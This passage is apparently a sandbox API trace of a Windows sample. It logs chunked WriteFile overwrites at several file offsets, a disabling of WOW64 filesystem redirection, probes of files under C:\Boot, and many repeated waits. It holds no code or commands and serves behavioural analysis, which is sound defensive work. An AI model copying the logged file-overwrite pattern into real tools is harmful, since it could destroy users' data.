lpNumberOfBytesRead=0x265fc04*=0x40000, lpOverlapped=0x0) returned 1 [0094.983] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fd68 | out: lpNewFilePointer=0x0) returned 1 [0094.983] WriteFile (in: hFile=0x1c4, lpBuffer=0x2d30020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x265fd60, lpOverlapped=0x0 | out: lpBuffer=0x2d30020*, lpNumberOfBytesWritten=0x265fd60*=0xc0102, lpOverlapped=0x0) returned 1 [0094.998] SetEndOfFile (hFile=0x1c4) returned 1 [0094.998] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x265fc00 | out: lpNewFilePointer=0x0) returned 1 [0094.998] WriteFile (in: hFile=0x1c4, lpBuffer=0x2df013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x265fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2df013a*, lpNumberOfBytesWritten=0x265fc0c*=0x40000, lpOverlapped=0x0) returned 1 [0095.000] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x265fc00 | out: lpNewFilePointer=0x0) returned 1 [0095.000] WriteFile (in: hFile=0x1c4, lpBuffer=0x2df013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x265fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2df013a*, lpNumberOfBytesWritten=0x265fc0c*=0x40000, lpOverlapped=0x0) returned 1 [0095.001] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fc00 | out: lpNewFilePointer=0x0) returned 1 [0095.001] WriteFile (in: hFile=0x1c4, lpBuffer=0x2df013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x265fc0c, lpOverlapped=0x0 | out: lpBuffer=0x2df013a*, lpNumberOfBytesWritten=0x265fc0c*=0x40000, lpOverlapped=0x0) returned 1 [0095.002] CloseHandle (hObject=0x1c4) Thread: id = 21 os_tid = 0x244 [0073.815] GetProcessHeap () returned 0x470000 [0073.815] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x558bc8 [0073.816] GetProcessHeap () returned 0x470000 [0073.816] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x31c0048 [0073.817] GetProcessHeap () returned 0x470000 [0073.817] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x28) returned 0x493120 [0073.817] GetProcessHeap () returned 0x470000 [0073.817] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x110102) returned 0x32c0020 [0073.817] GetProcessHeap () returned 0x470000 [0073.817] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x50) returned 0x493558 [0073.818] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0073.818] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0073.818] Wow64DisableWow64FsRedirection (in: OldValue=0x2f6fa74 | out: OldValue=0x2f6fa74*=0x0) returned 1 [0073.818] GetProcessHeap () returned 0x470000 [0073.818] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493558 | out: hHeap=0x470000) returned 1 [0073.818] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.818] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.818] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.818] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.818] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.819] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.819] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.819] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.819] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.819] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.819] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.819] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.819] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.819] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.820] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.820] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.820] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.820] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.820] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.820] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.820] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.820] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.820] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.820] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.821] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.821] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.821] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.821] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.821] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.821] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.821] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.821] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.821] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.822] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.822] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.822] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.822] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.822] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.822] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.822] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.822] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.822] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.823] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.823] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.823] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.823] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.823] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.823] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.823] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.823] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.823] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.824] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.824] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.824] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.824] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.824] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.824] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.824] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.824] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.824] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.825] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.825] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.825] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.825] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.825] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.825] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.825] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.825] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.825] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.826] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.826] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.826] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.826] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.826] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.826] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.826] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.826] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.826] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.827] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.827] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.827] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.827] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.827] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.827] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.827] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.827] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.827] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.828] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.828] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.828] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.828] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.828] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.828] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.828] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.828] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.828] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.829] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.829] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.829] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.829] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.829] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.829] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.829] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.829] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.829] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.830] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.830] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.830] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.830] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.830] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.830] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.830] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.830] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.830] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.831] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.831] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.831] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.831] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.831] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.831] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.831] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.831] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.831] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.832] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.832] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.832] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.832] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.832] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.832] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.832] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.832] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.832] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.833] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.833] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.833] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.833] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.833] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.833] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.833] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.833] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.834] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.834] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.834] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.834] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.834] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.834] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.834] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.834] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.834] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.835] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.835] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.835] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.835] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.835] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.835] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.835] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.835] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.835] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.836] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.836] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.836] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.836] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.836] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.836] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.836] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.836] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.836] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.836] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.837] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.837] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.837] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.837] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.837] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.837] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.837] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.837] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.838] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.838] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.838] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.838] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.838] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.838] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.838] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.838] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.838] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.838] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.839] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.839] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.839] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.839] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.839] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.839] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.839] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.839] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.840] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.840] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.840] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.840] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.840] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.840] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.840] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.840] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.840] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.841] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.841] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.841] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.841] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.841] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.841] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.841] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.841] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.841] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.841] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.842] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.842] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.842] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.842] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.842] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.842] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.842] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.842] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.842] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.843] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.843] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.843] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.843] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.843] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.843] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.843] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.843] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.843] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.844] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.844] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.844] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.844] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.844] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.844] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.844] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.844] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.844] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.845] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.845] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.845] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.845] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.845] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.845] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.845] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.845] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 [0073.845] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 23 os_tid = 0x81c [0074.371] GetProcessHeap () returned 0x470000 [0074.371] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x31d0050 [0074.372] GetProcessHeap () returned 0x470000 [0074.372] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x31e0058 [0074.372] GetProcessHeap () returned 0x470000 [0074.372] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x28) returned 0x493558 [0074.372] GetProcessHeap () returned 0x470000 [0074.373] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x110102) returned 0x33e0020 [0074.373] GetProcessHeap () returned 0x470000 [0074.373] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x50) returned 0x493588 [0074.373] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0074.373] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0074.373] Wow64DisableWow64FsRedirection (in: OldValue=0x31bfc4c | out: OldValue=0x31bfc4c*=0x0) returned 1 [0074.373] GetProcessHeap () returned 0x470000 [0074.373] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x493588 | out: hHeap=0x470000) returned 1 [0074.374] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0076.183] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x31bfbf8 | out: lpFileSize=0x31bfbf8*=0) returned 1 [0076.184] CloseHandle (hObject=0x194) returned 1 [0076.190] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0076.197] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x31bfbf8 | out: lpFileSize=0x31bfbf8*=65536) returned 1 [0076.197] CloseHandle (hObject=0x19c) returned 1 [0076.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0076.200] GetFileAttributesW 